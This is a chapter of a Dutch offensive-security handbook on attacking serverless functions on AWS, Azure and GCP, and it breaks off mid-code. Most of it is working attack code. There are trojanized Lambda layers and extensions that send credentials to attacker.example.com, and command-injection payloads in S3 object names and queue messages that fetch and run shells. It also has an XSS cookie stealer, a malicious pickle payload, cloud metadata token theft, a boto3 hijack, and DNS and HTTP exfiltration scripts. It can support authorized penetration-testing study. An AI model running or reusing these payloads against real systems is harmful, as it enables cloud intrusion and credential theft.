Serverless Exploitatie

Waarin we ontdekken dat “geen server” niet betekent “geen probleem”, maar eerder “iemand anders z’n probleem dat nu ook jouw probleem is geworden”


Er is iets prachtig ironisch aan de term “serverless.” Er zijn absoluut servers. Hele datacenters vol. Ze staan er gewoon, te draaien, te koelen, stroom te vreten. Het enige verschil is dat jij ze niet meer ziet. En in de security-wereld geldt een universele waarheid: wat je niet ziet, kun je niet beveiligen. Of preciezer: wat je niet ziet, ga je gegarandeerd verkeerd beveiligen.

Serverless computing is het ultieme abstractieniveau. Je schrijft een functie, je deployt die, en ergens in de eindeloze ingewanden van een hyperscaler draait je code wanneer iemand of iets dat triggert. Geen OS om te patchen, geen firewall om te configureren, geen server om te hardenen. Klinkt als een security-droom, toch? Nou, pak er een stoel bij.

IB Tip: Serverless verschuift het aanvalsoppervlak – het elimineert het niet. In plaats van OS-vulnerabilities krijg je misconfigured IAM policies, event injection, en dependency attacks. De attack surface is anders, niet kleiner.


8.1 Serverless Architectuur

Functions-as-a-Service: Het Concept

Het idee achter Functions-as-a-Service (FaaS) is bedrieglijk simpel. Je schrijft een stukje code – een functie – dat precies een ding doet. Die functie wordt getriggerd door een event: een HTTP-request, een nieuw bestand in een bucket, een bericht op een queue. De cloud provider regelt alles eromheen: compute, scaling, networking, het OS.

De drie grote spelers:

Provider Service Runtime Omgeving Max Execution Max Memory
AWS Lambda Amazon Linux 2 / AL2023 15 minuten 10 GB
Azure Functions Windows / Linux containers 230 seconden (Consumption) / onbeperkt (Premium) 14 GB
GCP Cloud Functions Ubuntu-based container 9 minuten (1st gen) / 60 min (2nd gen) 32 GB

Event-Driven Architectuur

Serverless functies draaien niet continu. Ze worden getriggerd. En die triggers vormen een van de meest onderschatte aanvalsvectoren in de moderne cloud.

                    +------------------+
   HTTP Request --> |                  |
   S3 Event     --> |  Serverless      | --> DynamoDB
   SQS Message  --> |  Function        | --> S3 Bucket
   SNS Topic    --> |                  | --> External API
   Schedule     --> |                  | --> SES Email
                    +------------------+
         ^                                      |
         |          Event Sources          Downstream
         +--- Hier zit je attack surface ---+

Elke pijl in dat diagram is een potentiele aanvalsvector. Elke event source kan gemanipuleerd worden. Elke downstream service kan misbruikt worden als de functie teveel rechten heeft.

Cold Starts en de Execution Environment

Wanneer een Lambda-functie voor het eerst wordt aangeroepen – of na een periode van inactiviteit – moet de cloud provider een nieuwe execution environment opzetten. Dit heet een cold start:

  1. Download van de function code en layers
  2. Bootstrap van de runtime (Python, Node.js, Java, etc.)
  3. Initialisatie van de handler code (imports, connections)
  4. Uitvoering van de daadwerkelijke functie

Na de uitvoering blijft de execution environment een tijdje warm. En dat “warm” houden heeft security-implicaties die we straks gaan uitbuiten.

Cold Start:
[Download Code] → [Init Runtime] → [Init Handler] → [Execute] → [Warm]
                                                                    |
Warm Invocation:                                                    v
                                         [Execute] ← ← ← ← ← [Reuse]

IB Tip: De /tmp directory in AWS Lambda persists tussen warm invocations van dezelfde execution environment. Data die je daar achterlaat – credentials, tools, exfiltrated data – overleeft meerdere function invocations. Dit is zowel een exploit-vector als een persistence-mechanisme.

Het Shared Responsibility Model voor Serverless

AWS heeft een mooi plaatje van het Shared Responsibility Model. Bij serverless schuift de verantwoordelijkheid van de klant naar de provider. Maar de klant blijft verantwoordelijk voor:

Dat zijn zes dingen om fout te doen. En de gemiddelde developer team doet er minstens vier fout.


8.2 AWS Lambda Aanvallen

Function URL Abuse

Sinds 2022 ondersteunt Lambda function URLs – directe HTTPS-endpoints zonder API Gateway. Het probleem: ze worden vaak geconfigureerd met AuthType: NONE.

Herkenning van kwetsbare function URLs:

# Zoek alle Lambda functies met function URLs
aws lambda list-functions --query 'Functions[].FunctionName' --output text | \
  while read fn; do
    url=$(aws lambda get-function-url-config --function-name "$fn" 2>/dev/null)
    if [ $? -eq 0 ]; then
      auth=$(echo "$url" | jq -r '.AuthType')
      endpoint=$(echo "$url" | jq -r '.FunctionUrl')
      echo "Function: $fn | Auth: $auth | URL: $endpoint"
    fi
  done

# Zoek specifiek naar NONE auth type
aws lambda list-function-url-configs --function-name TARGET_FUNCTION \
  --query 'FunctionUrlConfigs[?AuthType==`NONE`]'

Exploitatie van open function URLs:

# Direct aanroepen -- geen authenticatie nodig
curl -X POST https://abcdefg1234567.lambda-url.eu-west-1.on.aws/ \
  -H "Content-Type: application/json" \
  -d '{"action": "processOrder", "orderId": "1 OR 1=1"}'

# Event injection via query parameters
curl "https://abcdefg1234567.lambda-url.eu-west-1.on.aws/?file=../../../../etc/passwd"

Environment Variable Extraction

Lambda-functies slaan vaak secrets op in environment variables. Dat is de quick-and-dirty manier en – laten we eerlijk zijn – de manier waarop de meeste tutorials het voordoen. Het is alsof je je huissleutel onder de deurmat legt en dan verbaasd bent als iemand binnenkomt.

Via de Lambda API (met juiste permissions):

# Haal alle environment variables op van een functie
aws lambda get-function-configuration \
  --function-name target-function \
  --query 'Environment.Variables'

# Output kan bevatten:
# {
#   "DB_PASSWORD": "Pr0ductie-Wachtw00rd!",
#   "API_KEY": "sk-live-aBcDeFgHiJkLmNoPqRsTuVwXyZ",
#   "STRIPE_SECRET": "sk_live_...",
#   "JWT_SECRET": "supersecretkey123"
# }

Vanuit een gecompromitteerde functie (runtime exploitation):

# Als je code execution hebt in de Lambda functie
import os

# Alle environment variables dumpen
for key, value in os.environ.items():
    print(f"{key}={value}")

# Specifieke Lambda runtime variabelen:
# AWS_ACCESS_KEY_ID        - Temporary credentials
# AWS_SECRET_ACCESS_KEY    - Temporary credentials
# AWS_SESSION_TOKEN        - Session token
# AWS_LAMBDA_FUNCTION_NAME - Functienaam
# AWS_REGION               - Region
# _HANDLER                 - Handler pad

IB Tip: Lambda runtime credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) zijn temporary credentials gekoppeld aan de function’s execution role. Deze credentials geven je dezelfde rechten als de Lambda-functie zelf. Gebruik aws sts get-caller-identity om te bevestigen welke role je hebt.

Layer Poisoning

Lambda Layers zijn herbruikbare code-pakketten die aan functies worden toegevoegd. Ze worden voor de function code geladen. Als een aanvaller een layer kan modificeren of een eigen layer kan injecteren, draait zijn code in elke functie die die layer gebruikt.

# Bekijk welke layers een functie gebruikt
aws lambda get-function-configuration \
  --function-name target-function \
  --query 'Layers[].Arn'

# Bekijk layer versies
aws lambda list-layer-versions \
  --layer-name shared-utils

# Download een layer om te analyseren
aws lambda get-layer-version \
  --layer-name shared-utils \
  --version-number 3 \
  --query 'Content.Location' \
  --output text | xargs curl -o layer.zip

# Publiceer een malicious layer versie (als je lambda:PublishLayerVersion hebt)
zip -r malicious-layer.zip python/
aws lambda publish-layer-version \
  --layer-name shared-utils \
  --zip-file fileb://malicious-layer.zip \
  --compatible-runtimes python3.9 python3.10 python3.11

# Update de functie om de nieuwe (malicious) layer versie te gebruiken
aws lambda update-function-configuration \
  --function-name target-function \
  --layers arn:aws:lambda:eu-west-1:123456789012:layer:shared-utils:4

Malicious layer voorbeeld (Python):

# python/evil_extension.py -- wordt geladen via de layer
import os
import urllib.request
import json

# Exfiltreer credentials bij cold start (init fase)
creds = {
    "access_key": os.environ.get("AWS_ACCESS_KEY_ID"),
    "secret_key": os.environ.get("AWS_SECRET_ACCESS_KEY"),
    "session_token": os.environ.get("AWS_SESSION_TOKEN"),
    "function_name": os.environ.get("AWS_LAMBDA_FUNCTION_NAME"),
    "region": os.environ.get("AWS_REGION")
}

req = urllib.request.Request(
    "https://attacker.example.com/collect",
    data=json.dumps(creds).encode(),
    headers={"Content-Type": "application/json"},
    method="POST"
)
try:
    urllib.request.urlopen(req, timeout=2)
except:
    pass  # Fail silently -- de functie moet gewoon blijven werken

/tmp Persistence

De /tmp directory in Lambda is de enige schrijfbare locatie (naast /var/task voor de code zelf). Het heeft 512 MB tot 10 GB aan ruimte (configureerbaar) en – cruciaal – het persists tussen warm invocations.

import os
import subprocess

def handler(event, context):
    marker = "/tmp/.persistence_marker"

    if os.path.exists(marker):
        # Warme container -- onze tools staan er nog
        print("Warm invocation -- tools already staged")
    else:
        # Koude start -- stage onze tools
        # Download een statisch gecompileerde binary
        os.system("curl -s https://attacker.example.com/tools/nmap-static -o /tmp/nmap")
        os.system("chmod +x /tmp/nmap")

        # Maak een marker aan
        with open(marker, "w") as f:
            f.write("staged")

    # Gebruik de gestage-de tools
    result = subprocess.run(
        ["/tmp/nmap", "-sn", "10.0.0.0/24"],
        capture_output=True, text=True, timeout=30
    )

    return {"statusCode": 200, "body": result.stdout}

Event Injection

Dit is waar het echt interessant wordt. Lambda-functies worden getriggerd door events, en die events bevatten data. Als de functie die data niet sanitized, heb je injection.

S3 Event Injection:

# Een Lambda die getriggerd wordt door S3 uploads
def handler(event, context):
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = event['Records'][0]['s3']['object']['key']

    # KWETSBAAR: key wordt direct in een shell command gebruikt
    os.system(f"file /tmp/{key}")  # Command injection via bestandsnaam!

    return {"processed": key}

Exploitatie:

# Upload een bestand met een malicious naam naar de trigger-bucket
aws s3 cp payload.txt \
  "s3://target-bucket/; curl attacker.example.com/shell.sh | bash ;.txt"

API Gateway Event Injection:

# Kwetsbare Lambda achter API Gateway
import json
import sqlite3

def handler(event, context):
    # Event body van API Gateway
    body = json.loads(event['body'])
    username = body['username']

    # KWETSBAAR: SQL injection
    conn = sqlite3.connect('/tmp/app.db')
    cursor = conn.execute(
        f"SELECT * FROM users WHERE username = '{username}'"
    )

    return {
        "statusCode": 200,
        "body": json.dumps([dict(row) for row in cursor])
    }

SQS Event Injection:

# Lambda die SQS berichten verwerkt
import json
import subprocess

def handler(event, context):
    for record in event['Records']:
        message = json.loads(record['body'])
        command = message.get('command', 'echo no command')

        # KWETSBAAR: command uit SQS message wordt direct uitgevoerd
        result = subprocess.run(command, shell=True, capture_output=True)

    return {"processed": len(event['Records'])}
# Stuur een malicious SQS message (als je sqs:SendMessage hebt)
aws sqs send-message \
  --queue-url https://sqs.eu-west-1.amazonaws.com/123456789012/process-queue \
  --message-body '{"command": "curl https://attacker.example.com/$(cat /proc/self/environ | base64 -w0)"}'

Runtime API Exploitation

Lambda functies communiceren met de Lambda Runtime API om events op te halen en responses terug te sturen. Deze API is beschikbaar op http://127.0.0.1:9001 (of via de AWS_LAMBDA_RUNTIME_API environment variable).

# Vanuit een gecompromitteerde functie:

# Haal het volgende event op (dit is wat de runtime normaal doet)
RUNTIME_API="${AWS_LAMBDA_RUNTIME_API}"
curl "http://${RUNTIME_API}/2018-06-01/runtime/invocation/next"

# Bekijk de functie-informatie
curl "http://${RUNTIME_API}/2018-06-01/runtime/init/error" \
  -d '{"errorMessage": "test", "errorType": "RuntimeError"}'

Lambda Extensions API (voor meer geavanceerde aanvallen):

# Registreer een malicious extension
EXTENSION_ID=$(curl -s -X POST \
  "http://${AWS_LAMBDA_RUNTIME_API}/2020-01-01/extension/register" \
  -H "Lambda-Extension-Name: evil-extension" \
  -d '{"events": ["INVOKE", "SHUTDOWN"]}' \
  -o /dev/null -w '%header{Lambda-Extension-Identifier}')

# Nu ontvang je een callback bij elke invocation
curl "http://${AWS_LAMBDA_RUNTIME_API}/2020-01-01/extension/event/next" \
  -H "Lambda-Extension-Identifier: ${EXTENSION_ID}"

IB Tip: De Lambda Runtime API en Extensions API zijn alleen bereikbaar vanuit de execution environment zelf. Maar als je eenmaal code execution hebt in een functie, geven ze je diepgaande controle over hoe die functie events verwerkt. Een malicious extension kan elke invocation intercepten en data exfiltreren voordat de response wordt teruggestuurd.


8.3 Azure Functions Aanvallen

HTTP Trigger Exploitation

Azure Functions met HTTP triggers zijn direct bereikbaar via een URL. De authenticatie wordt geregeld door authorization levels: anonymous, function, en admin.

# Ontdek Azure Functions endpoints (vaak voorspelbare URLs)
# Patroon: https://<functionapp>.azurewebsites.net/api/<functionname>
curl https://target-functionapp.azurewebsites.net/api/processData

# Anonymous functies zijn direct aanroepbaar
curl -X POST https://target-functionapp.azurewebsites.net/api/processData \
  -H "Content-Type: application/json" \
  -d '{"input": "test"}'

# Function-level auth vereist een function key (vaak gelekt in code/config)
curl "https://target-functionapp.azurewebsites.net/api/processData?code=LEAKED_FUNCTION_KEY"

Enumeratie van Function Apps:

# Met Azure CLI -- alle function apps in een subscription
az functionapp list --query '[].{name:name, rg:resourceGroup, url:defaultHostName}' -o table

# Haal de function keys op (als je voldoende rechten hebt)
az functionapp keys list --name target-functionapp --resource-group target-rg

# Bekijk de applicatie-instellingen (environment variables)
az functionapp config appsettings list \
  --name target-functionapp \
  --resource-group target-rg \
  --query '[].{name:name, value:value}' -o table

Managed Identity Token Theft

Azure Functions gebruiken vaak Managed Identities om te authenticeren bij andere Azure-services. De tokens zijn beschikbaar via het Instance Metadata Service (IMDS) endpoint.

# Vanuit een gecompromitteerde Azure Function:

# Haal een access token op voor Azure Resource Manager
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq .

# Token voor Microsoft Graph (emails, users, etc.)
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
  | jq .

# Token voor Key Vault
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" \
  | jq .

# Token voor Azure SQL
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://database.windows.net/" \
  | jq .

Gebruik het gestolen token:

# Gebruik het ARM token om resources te enumereren
TOKEN="eyJ0eXAi..."

# Lijst alle subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# Lijst alle resources in een subscription
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01" | jq .

# Lees Key Vault secrets
KV_TOKEN="eyJ0eXAi..."  # Token voor vault.azure.net
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://target-keyvault.vault.azure.net/secrets?api-version=7.4" | jq .

IB Tip: Azure Managed Identity tokens hebben standaard een lifetime van 8-24 uur. Zodra je een token hebt gestolen, werkt het ook buiten de Azure Function. Je kunt het op je eigen machine gebruiken met az cli of directe API-calls. Check de exp claim in het JWT om te zien wanneer het verloopt.

Function Keys Extraction

Azure Functions gebruiken host keys en function keys voor authenticatie. Deze worden opgeslagen in Azure Storage en zijn opvraagbaar via de management API.

# Via Azure CLI (met voldoende rechten)
# Host keys (werken voor alle functies in de app)
az functionapp keys list \
  --name target-functionapp \
  --resource-group target-rg

# Function-specifieke keys
az functionapp function keys list \
  --name target-functionapp \
  --resource-group target-rg \
  --function-name processData

# Master key (geeft admin-level toegang)
az functionapp keys list \
  --name target-functionapp \
  --resource-group target-rg \
  --query 'masterKey'

Via de Kudu management interface:

# Kudu SCM is vaak bereikbaar op:
# https://<functionapp>.scm.azurewebsites.net

# Download de function secrets file
curl -s -u "deploy_user:deploy_password" \
  "https://target-functionapp.scm.azurewebsites.net/api/vfs/data/Functions/secrets/host.json"

# Bekijk de functie-code
curl -s -u "deploy_user:deploy_password" \
  "https://target-functionapp.scm.azurewebsites.net/api/vfs/site/wwwroot/processData/index.js"

Durable Functions Orchestration Abuse

Durable Functions voegen stateful orchestration toe aan Azure Functions. De orchestration state wordt opgeslagen in Azure Storage en is manipuleerbaar.

# Ontdek Durable Function endpoints
# Status endpoint (vaak open)
curl "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances?code=FUNCTION_KEY"

# Start een nieuwe orchestration
curl -X POST \
  "https://target-functionapp.azurewebsites.net/api/orchestrators/ProcessOrderOrchestrator?code=FUNCTION_KEY" \
  -H "Content-Type: application/json" \
  -d '{"orderId": "evil-order", "amount": -1000}'

# Stuur een event naar een draaiende orchestration
curl -X POST \
  "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances/INSTANCE_ID/raiseEvent/ApprovalEvent?code=FUNCTION_KEY" \
  -H "Content-Type: application/json" \
  -d '{"approved": true, "approver": "admin"}'

# Bekijk de execution history
curl "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances/INSTANCE_ID?showHistory=true&code=FUNCTION_KEY"

8.4 GCP Cloud Functions Aanvallen

Public Invocation

GCP Cloud Functions kunnen geconfigureerd worden met allUsers of allAuthenticatedUsers als invoker, waardoor ze publiek bereikbaar zijn.

# Zoek publiek invoceerbare functies
# Check IAM policy van een functie
gcloud functions get-iam-policy target-function \
  --region europe-west1 \
  --format json

# Kijk of allUsers de roles/cloudfunctions.invoker rol heeft
gcloud functions get-iam-policy target-function \
  --region europe-west1 \
  --flatten="bindings[].members" \
  --filter="bindings.members:allUsers" \
  --format="table(bindings.role)"

# Direct aanroepen van een publieke functie
curl -X POST "https://europe-west1-project-id.cloudfunctions.net/target-function" \
  -H "Content-Type: application/json" \
  -d '{"data": "test"}'

# Gen 2 functies (Cloud Run based)
gcloud functions describe target-function \
  --region europe-west1 \
  --gen2 \
  --format="value(serviceConfig.uri)"

Source Code Download

In GCP worden Cloud Function-bronbestanden opgeslagen in Cloud Storage. Met de juiste rechten kun je de broncode downloaden.

# Haal de source locatie op
gcloud functions describe target-function \
  --region europe-west1 \
  --format="value(sourceArchiveUrl)"

# Of voor Gen 2:
gcloud functions describe target-function \
  --region europe-west1 \
  --gen2 \
  --format="value(buildConfig.source.storageSource)"

# Download de broncode
gsutil cp gs://gcf-sources-PROJECT_NUMBER-REGION/target-function-VERSION.zip ./

# Of via de API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://cloudfunctions.googleapis.com/v1/projects/PROJECT/locations/REGION/functions/target-function?fields=sourceArchiveUrl"

# Unzip en analyseer
unzip target-function-VERSION.zip -d function-source/
cat function-source/main.py
cat function-source/requirements.txt

IB Tip: GCP Cloud Functions source code staat in een bucket met het patroon gcf-sources-{PROJECT_NUMBER}-{REGION}. Als je storage.objects.list of storage.objects.get hebt op die bucket, kun je alle function source code downloaden. Check ook gcf-v2-sources-* voor Gen 2 functies.

Service Account Token Theft

GCP Cloud Functions draaien met een service account. De credentials zijn beschikbaar via het metadata endpoint.

# Vanuit een gecompromitteerde Cloud Function:

# Haal het access token op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Haal het service account email op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# Haal de scopes op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"

# Haal de project ID op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# Gebruik het token om IAM policies te bekijken
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r '.access_token')

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
  -X POST -H "Content-Type: application/json" -d '{}'

8.5 Event Injection

Het Event Model als Aanvalsoppervlak

In een serverless architectuur is het event de input. En input validation is – hoe verrassend – net zo slecht bij serverless als bij elke andere applicatie. Het verschil is dat event sources diverser en minder voor de hand liggend zijn dan een simpele HTTP request.

Event Sources en hun Injection Vectors:
+---------------------------+-----------------------------------------------+
| Event Source              | Injection Vector                              |
+---------------------------+-----------------------------------------------+
| S3 PutObject              | Bestandsnaam, metadata, content type          |
| SQS/SNS Message           | Message body, message attributes              |
| API Gateway               | Path, query params, headers, body             |
| DynamoDB Streams           | NewImage/OldImage values                      |
| Kinesis                   | Data payload (base64 encoded)                 |
| CloudWatch Events         | Detail object                                 |
| Cognito Triggers          | User attributes, challenge responses          |
| IoT Rules                 | MQTT topic, message payload                   |
| Azure Event Grid          | Subject, data object                          |
| Azure Service Bus         | Message body, custom properties               |
| GCP Pub/Sub               | Message data, attributes                      |
| GCP Cloud Storage          | Object name, metadata                         |
+---------------------------+-----------------------------------------------+

S3 Event Manipulation

S3 events worden getriggerd wanneer objecten worden aangemaakt, verwijderd of gewijzigd. De bestandsnaam en metadata zijn onder controle van de uploader.

# Kwetsbare Lambda die S3 events verwerkt
import boto3
import os
import subprocess

def handler(event, context):
    record = event['Records'][0]
    bucket = record['s3']['bucket']['name']
    key = record['s3']['object']['key']

    # Download het bestand
    s3 = boto3.client('s3')
    local_path = f"/tmp/{key}"
    s3.download_file(bucket, key, local_path)

    # KWETSBAAR: bestandsnaam in subprocess
    result = subprocess.run(
        f"file {local_path}",  # Command injection via key!
        shell=True,
        capture_output=True,
        text=True
    )

    # KWETSBAAR: key in log message (log injection)
    print(f"Processed file: {key}")

    return result.stdout

Exploitatie via bestandsnaam:

# Command injection via S3 object key
aws s3 cp /dev/null "s3://target-bucket/test; curl attacker.example.com/?creds=\$(env | base64 | tr -d '\n') ;.txt"

# Path traversal via key
aws s3 cp payload.txt "s3://target-bucket/../../../tmp/malicious.sh"

# Log injection
aws s3 cp payload.txt "s3://target-bucket/normal.txt
CRITICAL: Admin credentials rotated - new password: see /api/admin"

Message Queue Injection

SQS, SNS, Azure Service Bus en GCP Pub/Sub zijn allemaal kwetsbaar voor dezelfde patronen: de message body is user-controlled data.

# AWS SQS injection
aws sqs send-message \
  --queue-url https://sqs.eu-west-1.amazonaws.com/123456789012/orders \
  --message-body '{
    "orderId": "1; wget attacker.example.com/shell -O /tmp/s; chmod +x /tmp/s; /tmp/s",
    "product": "<script>document.location=\"https://attacker.example.com/?c=\"+document.cookie</script>",
    "quantity": "1 UNION SELECT username,password FROM users--"
  }'

# Azure Service Bus injection
az servicebus topic subscription create \
  --resource-group target-rg \
  --namespace-name target-ns \
  --topic-name orders \
  --name evil-sub

# GCP Pub/Sub injection
gcloud pubsub topics publish target-topic \
  --message='{"cmd": "$(curl attacker.example.com/$(whoami))"}'

Database Trigger Injection

DynamoDB Streams en Azure Cosmos DB Change Feed triggeren functies bij data-wijzigingen.

# Kwetsbare Lambda op DynamoDB Stream
def handler(event, context):
    for record in event['Records']:
        if record['eventName'] == 'INSERT':
            new_item = record['dynamodb']['NewImage']
            email = new_item['email']['S']

            # KWETSBAAR: email in template zonder escaping
            html = f"<h1>Welkom {email}</h1>"

            # KWETSBAAR: email in OS command
            os.system(f"echo 'New user: {email}' | mail -s 'Alert' admin@company.com")
# Inject via DynamoDB (als je dynamodb:PutItem hebt)
aws dynamodb put-item \
  --table-name users \
  --item '{
    "userId": {"S": "evil-user"},
    "email": {"S": "test@test.com\"; curl attacker.example.com/$(env|base64) #"}
  }'

Deserialization in Event Payloads

Serverless functies ontvangen events als JSON – maar sommige deserializeren custom formaten uit die events.

# Lambda die pickled data uit S3 verwerkt
import pickle
import boto3

def handler(event, context):
    s3 = boto3.client('s3')
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = event['Records'][0]['s3']['object']['key']

    obj = s3.get_object(Bucket=bucket, Key=key)
    # KWETSBAAR: pickle deserialization
    data = pickle.loads(obj['Body'].read())

    return {"processed": str(data)}
# Genereer een malicious pickle payload
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl https://attacker.example.com/$(whoami)',))

# Upload naar de trigger bucket
import boto3
s3 = boto3.client('s3')
s3.put_object(
    Bucket='target-bucket',
    Key='data/report.pkl',
    Body=pickle.dumps(Exploit())
)

IB Tip: Event injection is bijzonder gevaarlijk omdat events vaak worden beschouwd als “interne” data. Developers vertrouwen S3 event data, SQS messages en DynamoDB stream records als “al gevalideerd” – terwijl de oorspronkelijke data door een gebruiker kan zijn aangeleverd.


8.6 Serverless Dependency Attacks

Package Inclusion Vulnerabilities

Serverless functies zijn afhankelijk van packages en libraries. De supply chain is hetzelfde als bij elke andere applicatie, maar de impact is anders: een gecompromitteerde dependency draait met de IAM-rechten van de Lambda execution role.

# Analyseer de dependencies van een Lambda functie
# Download de function code
aws lambda get-function --function-name target-function \
  --query 'Code.Location' --output text | xargs curl -o function.zip

unzip function.zip -d function-code/

# Check Python dependencies
cat function-code/requirements.txt
pip-audit -r function-code/requirements.txt

# Check Node.js dependencies
cat function-code/package.json
cd function-code && npm audit

# Check voor bekende malicious packages
# Python
pip install safety
safety check -r function-code/requirements.txt

# Node.js
npx is-website-vulnerable function-code/

Trojanized Layers en Extensions

Lambda Layers zijn een gedeeld dependency-mechanisme – en een supply chain risico.

# Zoek publiek beschikbare layers
aws lambda list-layers --compatible-runtime python3.11

# Analyseer een verdachte layer
aws lambda get-layer-version \
  --layer-name arn:aws:lambda:eu-west-1:123456789012:layer:suspicious-layer \
  --version-number 1 \
  --query 'Content.Location' --output text | xargs curl -o layer.zip

# Unzip en zoek naar verdachte code
unzip layer.zip -d layer-contents/
grep -r "eval\|exec\|subprocess\|os.system\|urllib" layer-contents/
grep -r "169.254.169.254\|metadata" layer-contents/

# Check of de layer een extension registreert
ls -la layer-contents/extensions/
cat layer-contents/extensions/*

Creeer een trojanized layer:

# extensions/evil-extension -- Lambda Extension die credentials steelt
#!/usr/bin/env python3
import os
import json
import urllib.request

RUNTIME_API = os.environ['AWS_LAMBDA_RUNTIME_API']

# Registreer als extension
headers = {"Lambda-Extension-Name": "monitoring-extension"}
data = json.dumps({"events": ["INVOKE", "SHUTDOWN"]}).encode()
req = urllib.request.Request(
    f"http://{RUNTIME_API}/2020-01-01/extension/register",
    data=data,
    headers=headers,
    method="POST"
)
resp = urllib.request.urlopen(req)
ext_id = resp.headers['Lambda-Extension-Identifier']

def exfil_creds():
    creds = {
        "key": os.environ.get("AWS_ACCESS_KEY_ID"),
        "secret": os.environ.get("AWS_SECRET_ACCESS_KEY"),
        "token": os.environ.get("AWS_SESSION_TOKEN"),
    }
    req = urllib.request.Request(
        "https://attacker.example.com/c",
        data=json.dumps(creds).encode(),
        headers={"Content-Type": "application/json"},
    )
    try:
        urllib.request.urlopen(req, timeout=1)
    except:
        pass

exfil_creds()

# Event loop
while True:
    req = urllib.request.Request(
        f"http://{RUNTIME_API}/2020-01-01/extension/event/next",
        headers={"Lambda-Extension-Identifier": ext_id}
    )
    resp = urllib.request.urlopen(req)
    event = json.loads(resp.read())
    if event['eventType'] == 'SHUTDOWN':
        break

Cold Start Race Conditions

Tijdens een cold start worden layers en extensions geladen voordat de function handler start. Dit creert een window waarin code kan draaien zonder dat de functie het weet.

Cold Start Timeline:
[Download Code] → [Load Layers] → [Init Extensions] → [Init Runtime] → [Handler Init] → [Handler Execute]
                       ^                 ^
                       |                 |
              Malicious layer      Malicious extension
              code runs here       registers here
              BEFORE handler       BEFORE handler

Het subtiele gevaar: als een layer een module monkey-patcht (bijvoorbeeld boto3 of requests), kan die patch alle API-calls van de functie intercepten.

# layer/python/boto3/__init__.py -- monkey-patch boto3
# Dit wordt geladen in plaats van het echte boto3

# Importeer het echte boto3 eerst
import importlib
import sys

# Verwijder onszelf uit sys.modules zodat het echte boto3 geladen kan worden
del sys.modules['boto3']
# Voeg het originele pad weer toe
real_boto3 = importlib.import_module('boto3')

# Monkey-patch de Session class
_original_client = real_boto3.Session.client

def _patched_client(self, service_name, *args, **kwargs):
    client = _original_client(self, service_name, *args, **kwargs)
    # Intercept alle S3 get_object calls
    if service_name == 's3':
        _original_get = client.get_object
        def _patched_get(*a, **kw):
            result = _original_get(*a, **kw)
            # Stuur een kopie naar de aanvaller
            # ...
            return result
        client.get_object = _patched_get
    return client

real_boto3.Session.client = _patched_client
sys.modules['boto3'] = real_boto3

8.7 Data Exfiltratie via Serverless

DNS Exfiltration

DNS-verkeer wordt zelden geblokkeerd, zelfs niet in VPC-geplaatste Lambda’s. Het is de ultieme covert channel.

# DNS exfiltratie vanuit een Lambda functie
import socket
import base64
import os

def exfil_dns(data, domain="exfil.attacker.example.com"):
    """Exfiltreer data via DNS queries."""
    encoded = base64.b32encode(data.encode()).decode().rstrip('=').lower()

    # Split in chunks van 63 chars (DNS label limit)
    chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]

    for i, chunk in enumerate(chunks):
        subdomain = f"{i}.{chunk}.{domain}"
        try:
            socket.getaddrinfo(subdomain, None)
        except socket.gaierror:
            pass  # De lookup failt, maar de DNS server ziet de query

def handler(event, context):
    # Exfiltreer credentials
    creds = f"{os.environ.get('AWS_ACCESS_KEY_ID')}:{os.environ.get('AWS_SECRET_ACCESS_KEY')}"
    exfil_dns(creds)

    # Normal function execution continues
    return {"statusCode": 200}

DNS listener op de aanvaller’s kant:

# Gebruik een authoritative DNS server voor je domein
# Bijvoorbeeld met dnschef of een custom script

# Simple Python DNS listener
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, A

class ExfilResolver(BaseResolver):
    def resolve(self, request, handler):
        qname = str(request.q.qname)
        print(f"[EXFIL] {qname}")
        # Log de query voor later decoderen
        with open("exfil.log", "a") as f:
            f.write(f"{qname}\n")
        reply = request.reply()
        reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A("127.0.0.1")))
        return reply

server = DNSServer(ExfilResolver(), port=53, address="0.0.0.0")
server.start()

Outbound HTTP Exfiltration

De meest directe methode – maar ook de meest detecteerbare.

import urllib.request
import json
import os

def exfil_http(data):
    """Exfiltreer data via HTTP POST."""
    req = urllib.request.Request(
        "https://attacker.example.com/collect",
        data=json.dumps(data).encode(),
        headers={
            "Content-Type": "application/json",
            "User-Agent": "aws-sdk-python/1.26.0"  # Blend in
        }
    )
    try:
        urllib.request.urlopen(req, timeout=3)
    except:
        pass

def handler(event, context):
    # Verzamel alle interessante data
    data = {
        "env": dict(os.environ),
